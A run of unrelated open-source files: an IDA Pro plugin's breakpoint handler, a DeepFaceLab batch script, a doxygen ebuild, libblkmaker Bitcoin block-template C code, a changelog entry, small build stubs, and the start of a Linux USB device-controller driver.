return True
return False
def isRetBP(self, ea):
"""
Check if the current Breakpoint marks a Return Breakpoint,
e.g - was a function just returned from
@param ea: effective address
@return: True if this is a return BP, otherwise False
"""
return ea in self.ret_bps
###############################################################################################
# Breakpoint exception handling functions
def is_exception_call(self, ea):
"""
Main exception checking function.
Checks if the requested call instruction ea is part of exception list.
@param ea: The address to check
@return: True if the given address is to be excepted from breakpoint list, otherwise False
"""
try:
# Check if in excluded breakpoint addresses list
if ea in self.die_db.excluded_bp_ea:
return True
# Try to extract function name. if extraction failed no further checks can be made.
func_ea, func_name = self.get_called_func_data(ea)
if func_name is None and func_ea is None:
return False
# Check if called function name is part of an excluded module
for module_name in self.die_db.excluded_modules:
if self.iat.is_module_call(func_name, module_name, func_ea):
return True
# Next checks check for function name matching. they are irrelevant if no function name is available.
if func_name is None:
return False
# Check if called function name is in excluded function name list.
if func_name in self.die_db.excluded_funcNames:
return True
for func_part, match_type in self.die_db.excluded_funcNames_part:
if match_type == STARTS_WITH:
if func_name.startswith(func_part):
return True
if match_type == ENDS_WITH:
if func_name.endswith(func_part):
return True
if match_type == CONTAINS:
if func_name.find(func_part) != -1:
return True
# Feeeew, Nothing matched..
return False
except Exception as ex:
self.logger.exception("Failed to check for breakpoint exception: %s", ex)
return False
def is_exception_func(self, ea, iatEA):
"""
Check if the address is part of an excluded function.
@param ea: An address from within the function boundaries
@param iatEA: An address of the function in the IAT
@return: True if the given address is excepted from breakpoint list, otherwise False
"""
try:
func_adr = ea
if iatEA is not None:
func_adr = iatEA
func_name = get_function_name(func_adr)
if func_name in self.die_db.excluded_funcNames:
return True
return False
except Exception as ex:
self.logger.exception("Failed checking if function at address %s is excepted: %s", hex(ea), ex)
return False
def reload_bps(self):
"""
Reload current breakpoints according to current exception lists
@return: True if bps were reloaded sucessfully, otherwise False.
"""
try:
self.logger.debug("Reloading breakpoint exceptions")
for bp_ea in self.die_db.bp_list.keys():
if self.is_exception_call(bp_ea):
if self.removeBP(bp_ea):
self.logger.debug("breakpoint exception removed from %s", hex(bp_ea))
self.logger.info("Breakpoints were reloaded successfully")
return True
except Exception as ex:
self.logger.exception("Failed while reloading exceptions: %s", ex)
return False
def add_module_exception(self, module_name, reload_bps=False):
"""
Add a loaded module name (i.e "user32") to be excepted.
no breakpoints will be set on functions contained in this module.
@param module_name: The excepted module
@param reload_bps: reload breakpoints
@return: True if added successfully, otherwise False
"""
try:
if module_name is None:
return False
module_name = module_name.lower()
if module_name in self.die_db.excluded_modules:
self.logger.debug("Cannot add module %s to excluded module list. module already exist", module_name)
return True
self.logger.info("Module %s added to exception list.", module_name)
self.die_db.excluded_modules.append(module_name)
if reload_bps:
self.reload_bps()
return True
except Exception as ex:
self.logger.exception("Could not add module \"%s\" to excluded module list:", module_name, ex)
return False
def add_bp_ea_exception(self, ea, reload_bps=False):
"""
Add excluded address. no breakpoints will be set on this address.
@param ea: Address to be excluded
@param reload_bps: reload breakpoints
@return: True if added successfully, otherwise False
"""
try:
if ea is None:
return False
if ea in self.die_db.excluded_bp_ea:
self.logger.debug("Cannot add address %s to excluded address list. address already exist", hex(ea))
return True
self.logger.info("Address %s added to exception list", hex(ea))
self.die_db.excluded_bp_ea.append(ea)
if reload_bps:
self.reload_bps()
except Exception as ex:
self.logger.exception("Could not add address %s to excluded address list: %s", hex(ea), ex)
return False
def add_bp_funcname_exception(self, funcName, reload_bps=False):
"""
Add excluded function name. no breakpoint will be set on CALL statements to this function.
Note: at some cases (like indirect calls) call destination is unknown prior to runtime and cannot be excluded.
@param funcName: Function name to be excluded
@param reload_bps: reload breakpoints
@return: True if added successfully, otherwise False
"""
try:
if funcName is None:
return False
funcName = funcName.lower()
if funcName in self.die_db.excluded_funcNames:
self.logger.debug("Cannot add function name %s to excluded function name list. "
"function name already exist", funcName)
return True
self.logger.info("Function name \"%s\" was added to exception list", funcName)
self.die_db.excluded_funcNames.append(funcName)
if reload_bps:
self.reload_bps()
except Exception as ex:
self.logger.exception("Could not add function name %s to excluded function names list:", funcName, ex)
return False
def add_bp_funcname_part_exception(self, func_name_part, match_type=STARTS_WITH, reload_bps=False):
"""
Add excluded function partial name. no breakpoint will be set on CALL statements to function that match.
@param func_name_part: partial function name to match
@param match_type: type of matching to preform on partial name. possible values are:
STARTS_WITH = 0 (Default)
ENDS_WITH = 1
CONTAINS = 2
@param reload_bps: reload breakpoints
@return: True if added successfully, otherwise False
"""
try:
if func_name_part is None:
return False
func_name_part = func_name_part.lower()
match_tup = (func_name_part, match_type)
if match_tup in self.die_db.excluded_funcNames_part:
self.logger.debug("Cannot add partial function name %s to excluded partial function name list. "
"function name already exist", func_name_part)
return True
if match_type == STARTS_WITH:
self.logger.info("Function names that start with \"%s\" were added to exception list", func_name_part)
if match_type == ENDS_WITH:
self.logger.info("Function names that end with \"%s\" were added to exception list", func_name_part)
if match_type == CONTAINS:
self.logger.info("Function names that contain \"%s\" were added to exception list", func_name_part)
self.die_db.excluded_funcNames_part.append(match_tup)
if reload_bps:
self.reload_bps()
except Exception as ex:
self.logger.exception("Could not add partial function name %s "
"to excluded partial function names list: %s", func_name_part, ex)
return False
def get_called_func_data(self, ea):
"""
Try to get the called function name and address.
@param ea: Address to the CALL instruction
@return: On success a tuple of called function data (Function_ea, Demangled_Function_Name).
otherwise (None,None) tuple will be returned
"""
try:
func_name = None
call_dest = None
if idc.isCode(idc.GetFlags(ea)):
if is_call(ea):
operand_type = idc.GetOpType(ea, 0)
if operand_type in (5, 6, 7, 2):
call_dest = idc.GetOperandValue(ea, 0) # Call destination
func_name = get_function_name(call_dest).lower()
return call_dest, func_name
except Exception as ex:
self.logger.exception("Failed to get called function data: %s", ex)
return None, None
###############################################################################################
# Dynamic (RunTime) Breakpoints
def walk_function(self, ea):
"""
Walk function and place breakpoints on every call function found within it.
@param ea: An effective address within the function.
@return: True if function walked succeeded or False otherwise
"""
try:
function_name = get_function_name(ea)
self.logger.debug("Walking function %s at address %s for breakpoints", function_name, hex(ea))
if function_name in self.walked_functions:
self.logger.debug("No breakpoints will be set in function %s, "
"since it was already walked before.", function_name)
return True
# Add function to walked function list
self.walked_functions[function_name] = ea
# function = sark.Function(ea)
# for line in function.lines:
# if line.is_code and line.insn.is_call:
# self.addBP(line.ea)
start_adrs = get_function_start_address(ea)
end_adrs = get_function_end_address(ea)
# Walk function and place breakpoints on every call instruction found.
for head in idautils.Heads(start_adrs, end_adrs):
if idc.isCode(idc.GetFlags(head)):
# Add BP if instruction is a CALL
if is_call(head):
self.addBP(head)
self.logger.debug("Function %s was successfully walked for breakpoints", function_name)
return True
except Exception as ex:
self.logger.exception("Failed walking function at address %s for breakpoints.", hex(ea))
return False
def flush_walked_funcs(self):
"""
Erase all previously walked function history
@return: True on success, otherwise False
"""
self.walked_functions.clear()
return True
###############################################################################################
# Load\Save Exceptions to DIE DB
def load_exceptions(self, die_db):
"""
Load exceptions from db
@return:
"""
try:
if not isinstance(die_db, DIE.Lib.DIEDb.DIE_DB):
raise TypeError("Wrong type. expected DIE_DB.")
self.die_db.excluded_bp_ea = die_db.excluded_bp_ea
self.die_db.excluded_funcNames = die_db.excluded_funcNames
self.die_db.excluded_modules = die_db.excluded_modules
self.die_db.excluded_funcNames_part = die_db.excluded_funcNames_part
return True
except Exception as ex:
self.logger.exception("Failed while loading breakpoint exception data from db: %s", ex)
return False
def save_exceptions(self, die_db):
"""
Save exceptions to db
@return:
"""
try:
if not isinstance(die_db, DIE.Lib.DIEDb.DIE_DB):
raise TypeError("Wrong type. expected DIE_DB.")
die_db.excluded_bp_ea = self.die_db.excluded_bp_ea
die_db.excluded_funcNames = self.die_db.excluded_funcNames
die_db.excluded_modules = self.die_db.excluded_modules
die_db.excluded_funcNames_part = self.die_db.excluded_funcNames_part
return True
except Exception as ex:
logging.exception("Failed while saving exception data to db: %s", ex)
return False
################# [ Singleton ] ######################
_bp_handler = BpHandler()
def get_bp_handler():
if _bp_handler is not None:
return _bp_handler
|
{
"pile_set_name": "Github"
}
|
@echo off
call _internal\setenv.bat
"%PYTHON_EXECUTABLE%" "%DFL_ROOT%\main.py" convert ^
--input-dir "%WORKSPACE%\data_dst" ^
--output-dir "%WORKSPACE%\data_dst\merged" ^
--aligned-dir "%WORKSPACE%\data_dst\aligned" ^
--model-dir "%WORKSPACE%\model" ^
--model DF ^
--debug
pause
|
{
"pile_set_name": "Github"
}
|
# Copyright 1999-2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI=7
PYTHON_COMPAT=( python3_{6,7,8} )
CMAKE_MAKEFILE_GENERATOR="emake"
inherit cmake-utils eutils python-any-r1
if [[ ${PV} = *9999* ]]; then
inherit git-r3
EGIT_REPO_URI="https://github.com/doxygen/doxygen.git"
SRC_URI=""
KEYWORDS=""
else
SRC_URI="http://doxygen.nl/files/${P}.src.tar.gz"
fi
DESCRIPTION="Documentation system for most programming languages"
HOMEPAGE="http://www.doxygen.org"
LICENSE="GPL-2"
SLOT="0"
IUSE="clang debug doc dot doxysearch qt5 sqlite userland_GNU"
RDEPEND="app-text/ghostscript-gpl
dev-lang/perl
media-libs/libpng:0=
virtual/libiconv
clang? ( >=sys-devel/clang-4.0.0:= )
dot? (
media-gfx/graphviz
media-libs/freetype
)
doc? (
dev-texlive/texlive-bibtexextra
dev-texlive/texlive-fontsextra
dev-texlive/texlive-fontutils
dev-texlive/texlive-latex
dev-texlive/texlive-latexextra
)
doxysearch? ( dev-libs/xapian:= )
qt5? (
dev-qt/qtgui:5
dev-qt/qtwidgets:5
dev-qt/qtxml:5
)
sqlite? ( dev-db/sqlite:3 )
"
DEPEND="sys-devel/flex
sys-devel/bison
doc? ( ${PYTHON_DEPS} )
${RDEPEND}"
# src_test() defaults to make -C testing but there is no such directory (bug #504448)
RESTRICT="test"
PATCHES=(
"${FILESDIR}/${PN}-1.8.12-link_with_pthread.patch"
"${FILESDIR}/${PN}-1.8.17-ensure_static_support_libraries.patch"
)
DOCS=( LANGUAGE.HOWTO README.md )
pkg_setup() {
use doc && python-any-r1_pkg_setup
}
src_prepare() {
cmake-utils_src_prepare
# Ensure we link to -liconv
if use elibc_FreeBSD && has_version dev-libs/libiconv || use elibc_uclibc; then
local pro
for pro in */*.pro.in */*/*.pro.in; do
echo "unix:LIBS += -liconv" >> "${pro}" || die
done
fi
# Call dot with -Teps instead of -Tps for EPS generation - bug #282150
sed -i -e '/addJob("ps"/ s/"ps"/"eps"/g' src/dot.cpp || die
# fix pdf doc
sed -i.orig -e "s:g_kowal:g kowal:" \
doc/maintainers.txt || die
if is-flagq "-O3" ; then
ewarn
ewarn "Compiling with -O3 is known to produce incorrectly"
ewarn "optimized code which breaks doxygen."
ewarn
elog
elog "Continuing with -O2 instead ..."
elog
replace-flags "-O3" "-O2"
fi
}
src_configure() {
local mycmakeargs=(
-Duse_libclang=$(usex clang)
-Dbuild_doc=$(usex doc)
-Dbuild_search=$(usex doxysearch)
-Dbuild_wizard=$(usex qt5)
-Duse_sqlite3=$(usex sqlite)
-DGIT_EXECUTABLE="false"
)
use doc && mycmakeargs+=(
-DDOC_INSTALL_DIR="share/doc/${P}"
)
cmake-utils_src_configure
}
src_compile() {
cmake-utils_src_compile
if use doc; then
export VARTEXFONTS="${T}/fonts" # bug #564944
if ! use dot; then
sed -i -e "s/HAVE_DOT = YES/HAVE_DOT = NO/" \
{Doxyfile,doc/Doxyfile} \
|| die "disabling dot failed"
fi
cmake-utils_src_make -C "${BUILD_DIR}" docs
fi
}
src_install() {
cmake-utils_src_install
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2012-2014 Luke Dashjr
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the standard MIT license. See COPYING for more details.
*/
#include <limits.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#ifndef WIN32
#include <arpa/inet.h>
#else
#include <winsock2.h>
#endif
#include <blkmaker.h>
#include <blktemplate.h>
#include "private.h"
static inline
void my_htole32(unsigned char *buf, uint32_t n) {
buf[0] = (n >> 0) % 256;
buf[1] = (n >> 8) % 256;
buf[2] = (n >> 16) % 256;
buf[3] = (n >> 24) % 256;
}
static inline
void my_htole64(unsigned char *buf, uint64_t n) {
for (int i = 0; i < 8; ++i)
buf[i] = (n >> (8*i)) & 0xff;
}
bool (*blkmk_sha256_impl)(void *, const void *, size_t) = NULL;
bool _blkmk_dblsha256(void *hash, const void *data, size_t datasz) {
return blkmk_sha256_impl(hash, data, datasz) && blkmk_sha256_impl(hash, hash, 32);
}
#define dblsha256 _blkmk_dblsha256
uint64_t blkmk_init_generation3(blktemplate_t * const tmpl, const void * const script, const size_t scriptsz, bool * const inout_newcb) {
if (tmpl->cbtxn && !(*inout_newcb && (tmpl->mutations & BMM_GENERATE)))
{
*inout_newcb = false;
return 0;
}
*inout_newcb = true;
if (scriptsz >= 0xfd)
return 0;
unsigned char *data = malloc(168 + scriptsz);
size_t off = 0;
if (!data)
return 0;
memcpy(&data[0],
"\x01\0\0\0" // txn ver
"\x01" // input count
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // prevout
"\xff\xff\xff\xff" // index (-1)
"\x02" // scriptSig length
// height serialization length (set later)
, 42);
off += 43;
blkheight_t h = tmpl->height;
while (h > 127)
{
++data[41];
data[off++] = h & 0xff;
h >>= 8;
}
data[off++] = h;
data[42] = data[41] - 1;
if (tmpl->aux_count)
{
unsigned auxsz = off++;
data[auxsz] = 0;
++data[41];
for (unsigned i = 0; i < tmpl->aux_count; ++i)
{
struct blkaux_t * const aux = &tmpl->auxs[i];
if ((size_t)data[41] + aux->datasz > 100)
{
free(data);
return 0;
}
memcpy(&data[off], tmpl->auxs[i].data, aux->datasz);
data[41] += aux->datasz;
data[auxsz] += aux->datasz;
off += aux->datasz;
}
}
memcpy(&data[off],
"\xff\xff\xff\xff" // sequence
"\x01" // output count
, 5);
off += 5;
my_htole64(&data[off], tmpl->cbvalue);
off += 8;
data[off++] = scriptsz;
memcpy(&data[off], script, scriptsz);
off += scriptsz;
memset(&data[off], 0, 4); // lock time
off += 4;
struct blktxn_t *txn = calloc(1, sizeof(*tmpl->cbtxn));
if (!txn)
{
free(data);
return 0;
}
txn->data = data;
txn->datasz = off;
if (tmpl->cbtxn)
{
_blktxn_free(tmpl->cbtxn);
free(tmpl->cbtxn);
}
tmpl->cbtxn = txn;
tmpl->mutations |= BMM_CBAPPEND | BMM_CBSET | BMM_GENERATE;
return tmpl->cbvalue;
}
uint64_t blkmk_init_generation2(blktemplate_t *tmpl, void *script, size_t scriptsz, bool *out_newcb) {
bool tmp;
if (!out_newcb)
out_newcb = &tmp;
*out_newcb = false;
return blkmk_init_generation3(tmpl, script, scriptsz, out_newcb);
}
uint64_t blkmk_init_generation(blktemplate_t *tmpl, void *script, size_t scriptsz) {
return blkmk_init_generation2(tmpl, script, scriptsz, NULL);
}
static
bool blkmk_hash_transactions(blktemplate_t * const tmpl)
{
for (unsigned long i = 0; i < tmpl->txncount; ++i)
{
struct blktxn_t * const txn = &tmpl->txns[i];
if (txn->hash_)
continue;
txn->hash_ = malloc(sizeof(*txn->hash_));
if (!dblsha256(txn->hash_, txn->data, txn->datasz))
{
free(txn->hash_);
return false;
}
}
return true;
}
static
bool blkmk_build_merkle_branches(blktemplate_t * const tmpl)
{
int branchcount, i;
libblkmaker_hash_t *branches;
if (tmpl->_mrklbranch)
return true;
if (!blkmk_hash_transactions(tmpl))
return false;
branchcount = blkmk_flsl(tmpl->txncount);
if (!branchcount)
{
tmpl->_mrklbranchcount = 0;
tmpl->_mrklbranch = NULL;
return true;
}
branches = malloc(branchcount * sizeof(*branches));
size_t hashcount = tmpl->txncount + 1;
unsigned char hashes[(hashcount + 1) * 32];
for (i = 0; i < tmpl->txncount; ++i)
memcpy(&hashes[0x20 * (i + 1)], tmpl->txns[i].hash_, 0x20);
for (i = 0; i < branchcount; ++i)
{
memcpy(&branches[i], &hashes[0x20], 0x20);
if (hashcount % 2)
{
memcpy(&hashes[32 * hashcount], &hashes[32 * (hashcount - 1)], 32);
++hashcount;
}
for (size_t i = 2; i < hashcount; i += 2)
// This is where we overlap input and output, on the first pair
if (!dblsha256(&hashes[i / 2 * 32], &hashes[32 * i], 64))
{
free(branches);
return false;
}
hashcount /= 2;
}
tmpl->_mrklbranch = branches;
tmpl->_mrklbranchcount = branchcount;
return true;
}
static
bool build_merkle_root(unsigned char *mrklroot_out, blktemplate_t *tmpl, unsigned char *cbtxndata, size_t cbtxndatasz) {
int i;
libblkmaker_hash_t hashes[0x40];
if (!blkmk_build_merkle_branches(tmpl))
return false;
if (!dblsha256(&hashes[0], cbtxndata, cbtxndatasz))
return false;
for (i = 0; i < tmpl->_mrklbranchcount; ++i)
{
memcpy(&hashes[1], tmpl->_mrklbranch[i], 0x20);
// This is where we overlap input and output, on the first pair
if (!dblsha256(&hashes[0], &hashes[0], 0x40))
return false;
}
memcpy(mrklroot_out, &hashes[0], 32);
return true;
}
static const int cbScriptSigLen = 4 + 1 + 36;
static
bool _blkmk_append_cb(blktemplate_t * const tmpl, void * const vout, const void * const append, const size_t appendsz, size_t * const appended_at_offset) {
unsigned char *out = vout;
unsigned char *in = tmpl->cbtxn->data;
size_t insz = tmpl->cbtxn->datasz;
if (in[cbScriptSigLen] > 100 - appendsz)
return false;
int cbPostScriptSig = cbScriptSigLen + 1 + in[cbScriptSigLen];
if (appended_at_offset)
*appended_at_offset = cbPostScriptSig;
unsigned char *outPostScriptSig = &out[cbPostScriptSig];
void *outExtranonce = (void*)outPostScriptSig;
outPostScriptSig += appendsz;
if (out != in)
{
memcpy(out, in, cbPostScriptSig+1);
memcpy(outPostScriptSig, &in[cbPostScriptSig], insz - cbPostScriptSig);
}
else
memmove(outPostScriptSig, &in[cbPostScriptSig], insz - cbPostScriptSig);
out[cbScriptSigLen] += appendsz;
memcpy(outExtranonce, append, appendsz);
return true;
}
ssize_t blkmk_append_coinbase_safe2(blktemplate_t * const tmpl, const void * const append, const size_t appendsz, int extranoncesz, const bool merkle_only)
{
if (!(tmpl->mutations & (BMM_CBAPPEND | BMM_CBSET)))
return -1;
size_t datasz = tmpl->cbtxn->datasz;
if (!merkle_only)
{
if (extranoncesz < sizeof(unsigned int))
extranoncesz = sizeof(unsigned int);
else
if (extranoncesz == sizeof(unsigned int))
++extranoncesz;
}
size_t availsz = 100 - extranoncesz - tmpl->cbtxn->data[cbScriptSigLen];
if (appendsz > availsz)
return availsz;
void *newp = realloc(tmpl->cbtxn->data, datasz + appendsz);
if (!newp)
return -2;
tmpl->cbtxn->data = newp;
if (!_blkmk_append_cb(tmpl, newp, append, appendsz, NULL))
return -3;
tmpl->cbtxn->datasz += appendsz;
return availsz;
}
ssize_t blkmk_append_coinbase_safe(blktemplate_t * const tmpl, const void * const append, const size_t appendsz) {
return blkmk_append_coinbase_safe2(tmpl, append, appendsz, 0, false);
}
bool _blkmk_extranonce(blktemplate_t *tmpl, void *vout, unsigned int workid, size_t *offs) {
unsigned char *in = tmpl->cbtxn->data;
size_t insz = tmpl->cbtxn->datasz;
if (!workid)
{
memcpy(vout, in, insz);
*offs += insz;
return true;
}
if (!_blkmk_append_cb(tmpl, vout, &workid, sizeof(workid), NULL))
return false;
*offs += insz + sizeof(workid);
return true;
}
static
void blkmk_set_times(blktemplate_t *tmpl, void * const out_hdrbuf, const time_t usetime, int16_t * const out_expire, const bool can_roll_ntime)
{
double time_passed = difftime(usetime, tmpl->_time_rcvd);
blktime_t timehdr = tmpl->curtime + time_passed;
if (timehdr > tmpl->maxtime)
timehdr = tmpl->maxtime;
my_htole32(out_hdrbuf, timehdr);
if (out_expire)
{
*out_expire = tmpl->expires - time_passed - 1;
if (can_roll_ntime)
{
// If the caller can roll the time header, we need to expire before reaching the maxtime
int16_t maxtime_expire_limit = (tmpl->maxtime - timehdr) + 1;
if (*out_expire > maxtime_expire_limit)
*out_expire = maxtime_expire_limit;
}
}
}
bool blkmk_sample_data_(blktemplate_t * const tmpl, uint8_t * const cbuf, const unsigned int dataid) {
my_htole32(&cbuf[0], tmpl->version);
memcpy(&cbuf[4], &tmpl->prevblk, 32);
unsigned char cbtxndata[tmpl->cbtxn->datasz + sizeof(dataid)];
size_t cbtxndatasz = 0;
if (!_blkmk_extranonce(tmpl, cbtxndata, dataid, &cbtxndatasz))
return false;
if (!build_merkle_root(&cbuf[36], tmpl, cbtxndata, cbtxndatasz))
return false;
my_htole32(&cbuf[0x44], tmpl->curtime);
memcpy(&cbuf[72], &tmpl->diffbits, 4);
return true;
}
size_t blkmk_get_data(blktemplate_t *tmpl, void *buf, size_t bufsz, time_t usetime, int16_t *out_expire, unsigned int *out_dataid) {
if (!(blkmk_time_left(tmpl, usetime) && blkmk_work_left(tmpl) && tmpl->cbtxn))
return 0;
if (bufsz < 76)
return 76;
unsigned char *cbuf = buf;
*out_dataid = tmpl->next_dataid++;
if (!blkmk_sample_data_(tmpl, cbuf, *out_dataid))
return 0;
blkmk_set_times(tmpl, &cbuf[68], usetime, out_expire, false);
return 76;
}
bool blkmk_get_mdata(blktemplate_t * const tmpl, void * const buf, const size_t bufsz, const time_t usetime, int16_t * const out_expire, void * const _out_cbtxn, size_t * const out_cbtxnsz, size_t * const cbextranonceoffset, int * const out_branchcount, void * const _out_branches, size_t extranoncesz, const bool can_roll_ntime)
{
if (!(true
&& blkmk_time_left(tmpl, usetime)
&& tmpl->cbtxn
&& blkmk_build_merkle_branches(tmpl)
&& bufsz >= 76
))
return false;
if (extranoncesz == sizeof(unsigned int))
// Avoid overlapping with blkmk_get_data use
++extranoncesz;
void ** const out_branches = _out_branches;
void ** const out_cbtxn = _out_cbtxn;
unsigned char *cbuf = buf;
my_htole32(&cbuf[0], tmpl->version);
memcpy(&cbuf[4], &tmpl->prevblk, 32);
*out_cbtxnsz = tmpl->cbtxn->datasz + extranoncesz;
*out_cbtxn = malloc(*out_cbtxnsz);
if (!*out_cbtxn)
return false;
unsigned char dummy[extranoncesz];
memset(dummy, 0, extranoncesz);
if (!_blkmk_append_cb(tmpl, *out_cbtxn, dummy, extranoncesz, cbextranonceoffset))
{
free(*out_cbtxn);
return false;
}
blkmk_set_times(tmpl, &cbuf[68], usetime, out_expire, can_roll_ntime);
memcpy(&cbuf[72], &tmpl->diffbits, 4);
*out_branchcount = tmpl->_mrklbranchcount;
const size_t branches_bytesz = (sizeof(libblkmaker_hash_t) * tmpl->_mrklbranchcount);
*out_branches = malloc(branches_bytesz);
if (!*out_branches)
{
free(*out_cbtxn);
return false;
}
memcpy(*out_branches, tmpl->_mrklbranch, branches_bytesz);
return true;
}
blktime_diff_t blkmk_time_left(const blktemplate_t *tmpl, time_t nowtime) {
double age = difftime(nowtime, tmpl->_time_rcvd);
if (age >= tmpl->expires)
return 0;
return tmpl->expires - age;
}
unsigned long blkmk_work_left(const blktemplate_t *tmpl) {
if (!tmpl->version)
return 0;
if (!(tmpl->mutations & (BMM_CBAPPEND | BMM_CBSET)))
return 1;
return UINT_MAX - tmpl->next_dataid;
return BLKMK_UNLIMITED_WORK_COUNT;
}
static
char varintEncode(unsigned char *out, uint64_t n) {
if (n < 0xfd)
{
out[0] = n;
return 1;
}
char L;
if (n <= 0xffff)
{
out[0] = '\xfd';
L = 3;
}
else
if (n <= 0xffffffff)
{
out[0] = '\xfe';
L = 5;
}
else
{
out[0] = '\xff';
L = 9;
}
for (unsigned char i = 1; i < L; ++i)
out[i] = (n >> ((i - 1) * 8)) % 256;
return L;
}
char *blkmk_assemble_submission_(blktemplate_t * const tmpl, const unsigned char * const data, const unsigned int dataid, blknonce_t nonce, const bool foreign)
{
unsigned char blk[80 + 8 + 1000000];
memcpy(blk, data, 76);
nonce = htonl(nonce);
memcpy(&blk[76], &nonce, 4);
size_t offs = 80;
if (foreign || (!(tmpl->mutations & BMAb_TRUNCATE && !dataid)))
{
offs += varintEncode(&blk[offs], 1 + tmpl->txncount);
if (!_blkmk_extranonce(tmpl, &blk[offs], dataid, &offs))
return NULL;
if (foreign || !(tmpl->mutations & BMAb_COINBASE))
for (unsigned long i = 0; i < tmpl->txncount; ++i)
{
memcpy(&blk[offs], tmpl->txns[i].data, tmpl->txns[i].datasz);
offs += tmpl->txns[i].datasz;
}
}
char *blkhex = malloc((offs * 2) + 1);
_blkmk_bin2hex(blkhex, blk, offs);
return blkhex;
}
|
{
"pile_set_name": "Github"
}
|
Title: cisco_vpn_tunnel: Reporting zero traffic in case the tunnel is down
Level: 1
Component: checks
Class: fix
Compatible: compat
State: unknown
Version: 1.4.0b1
Date: 1484138387
Previous versions of the check were not providing any performance data in case
the tunnel was down. The graphs were showing flat lines for the time the tunnel
was down which could lead to confusions because in fact there was no traffic
at all.
|
{
"pile_set_name": "Github"
}
|
#import <Foundation/Foundation.h>
@interface PodsDummy_SnapKit : NSObject
@end
@implementation PodsDummy_SnapKit
@end
|
{
"pile_set_name": "Github"
}
|
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>netstandard2.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
[FILES]
</ItemGroup>
<ItemGroup>
[PROJECTREFERENCES]
</ItemGroup>
<ItemGroup>
[PACKAGEREFERENCES]
</ItemGroup>
</Project>
|
{
"pile_set_name": "Github"
}
|
/*
* bdc_ep.c - BRCM BDC USB3.0 device controller endpoint related functions
*
* Copyright (C) 2014 Broadcom Corporation
*
* Author: Ashwini Pahuja
*
* Based on drivers under drivers/usb/
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
*/
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/dma-mapping.h>
#include <linux/kernel.h>
#include <linux/delay.h>
#include <linux/dmapool.h>
#include <linux/ioport.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/errno.h>
#include <linux/init.h>
#include <linux/timer.h>
#include <linux/list.h>
#include <linux/interrupt.h>
#include <linux/moduleparam.h>
#include <linux/device.h>
#include <linux/usb/ch9.h>
#include <linux/usb/gadget.h>
#include <linux/usb/otg.h>
#include <linux/pm.h>
#include <linux/io.h>
#include <linux/irq.h>
#include <asm/unaligned.h>
#include <linux/platform_device.h>
#include <linux/usb/composite.h>
#include "bdc.h"
#include "bdc_ep.h"
#include "bdc_cmd.h"
#include "bdc_dbg.h"
static const char * const ep0_state_string[] = {
"WAIT_FOR_SETUP",
"WAIT_FOR_DATA_START",
"WAIT_FOR_DATA_XMIT",
"WAIT_FOR_STATUS_START",
"WAIT_FOR_STATUS_XMIT",
"STATUS_PENDING"
};
/* Free the bdl during ep disable */
static void ep_bd_list_free(struct bdc_ep *ep, u32 num_tabs)
{
struct bd_list *bd_list = &ep->bd_list;
struct bdc *bdc = ep->bdc;
struct bd_table *bd_table;
int index;
dev_dbg(bdc->dev, "%s ep:%s num_tabs:%d\n",
__func__, ep->name, num_tabs);
if (!bd_list->bd_table_array) {
dev_dbg(bdc->dev, "%s already freed\n", ep->name);
return;
}
for (index = 0; index < num_tabs; index++) {
/*
* check if the bd_table struct is allocated ?
* if yes, then check if bd memory has been allocated, then
* free the dma_pool and also the bd_table struct memory
*/
bd_table = bd_list->bd_table_array[index];
dev_dbg(bdc->dev, "bd_table:%p index:%d\n", bd_table, index);
if (!bd_table) {
dev_dbg(bdc->dev, "bd_table not allocated\n");
continue;
}
if (!bd_table->start_bd) {
dev_dbg(bdc->dev, "bd dma pool not allocted\n");
continue;
}
dev_dbg(bdc->dev,
"Free dma pool start_bd:%p dma:%llx\n",
bd_table->start_bd,
(unsigned long long)bd_table->dma);
dma_pool_free(bdc->bd_table_pool,
bd_table->start_bd,
bd_table->dma);
/* Free the bd_table structure */
kfree(bd_table);
}
/* Free the bd table array */
kfree(ep->bd_list.bd_table_array);
}
/*
* chain the tables, by insteting a chain bd at the end of prev_table, pointing
* to next_table
*/
static inline void chain_table(struct bd_table *prev_table,
struct bd_table *next_table,
u32 bd_p_tab)
{
/* Chain the prev table to next table */
prev_table->start_bd[bd_p_tab-1].offset[0] =
cpu_to_le32(lower_32_bits(next_table->dma));
prev_table->start_bd[bd_p_tab-1].offset[1] =
cpu_to_le32(upper_32_bits(next_table->dma));
prev_table->start_bd[bd_p_tab-1].offset[2] =
0x0;
prev_table->start_bd[bd_p_tab-1].offset[3] =
cpu_to_le32(MARK_CHAIN_BD);
}
/* Allocate the bdl for ep, during config ep */
static int ep_bd_list_alloc(struct bdc_ep *ep)
{
struct bd_table *prev_table = NULL;
int index, num_tabs, bd_p_tab;
struct bdc *bdc = ep->bdc;
struct bd_table *bd_table;
dma_addr_t dma;
if (usb_endpoint_xfer_isoc(ep->desc))
num_tabs = NUM_TABLES_ISOCH;
else
num_tabs = NUM_TABLES;
bd_p_tab = NUM_BDS_PER_TABLE;
/* if there is only 1 table in bd list then loop chain to self */
dev_dbg(bdc->dev,
"%s ep:%p num_tabs:%d\n",
__func__, ep, num_tabs);
/* Allocate memory for table array */
ep->bd_list.bd_table_array = kzalloc(
num_tabs * sizeof(struct bd_table *),
GFP_ATOMIC);
if (!ep->bd_list.bd_table_array)
return -ENOMEM;
/* Allocate memory for each table */
for (index = 0; index < num_tabs; index++) {
/* Allocate memory for bd_table structure */
bd_table = kzalloc(sizeof(struct bd_table), GFP_ATOMIC);
if (!bd_table)
goto fail;
bd_table->start_bd = dma_pool_alloc(bdc->bd_table_pool,
GFP_ATOMIC,
&dma);
if (!bd_table->start_bd) {
kfree(bd_table);
goto fail;
}
bd_table->dma = dma;
dev_dbg(bdc->dev,
"index:%d start_bd:%p dma=%08llx prev_table:%p\n",
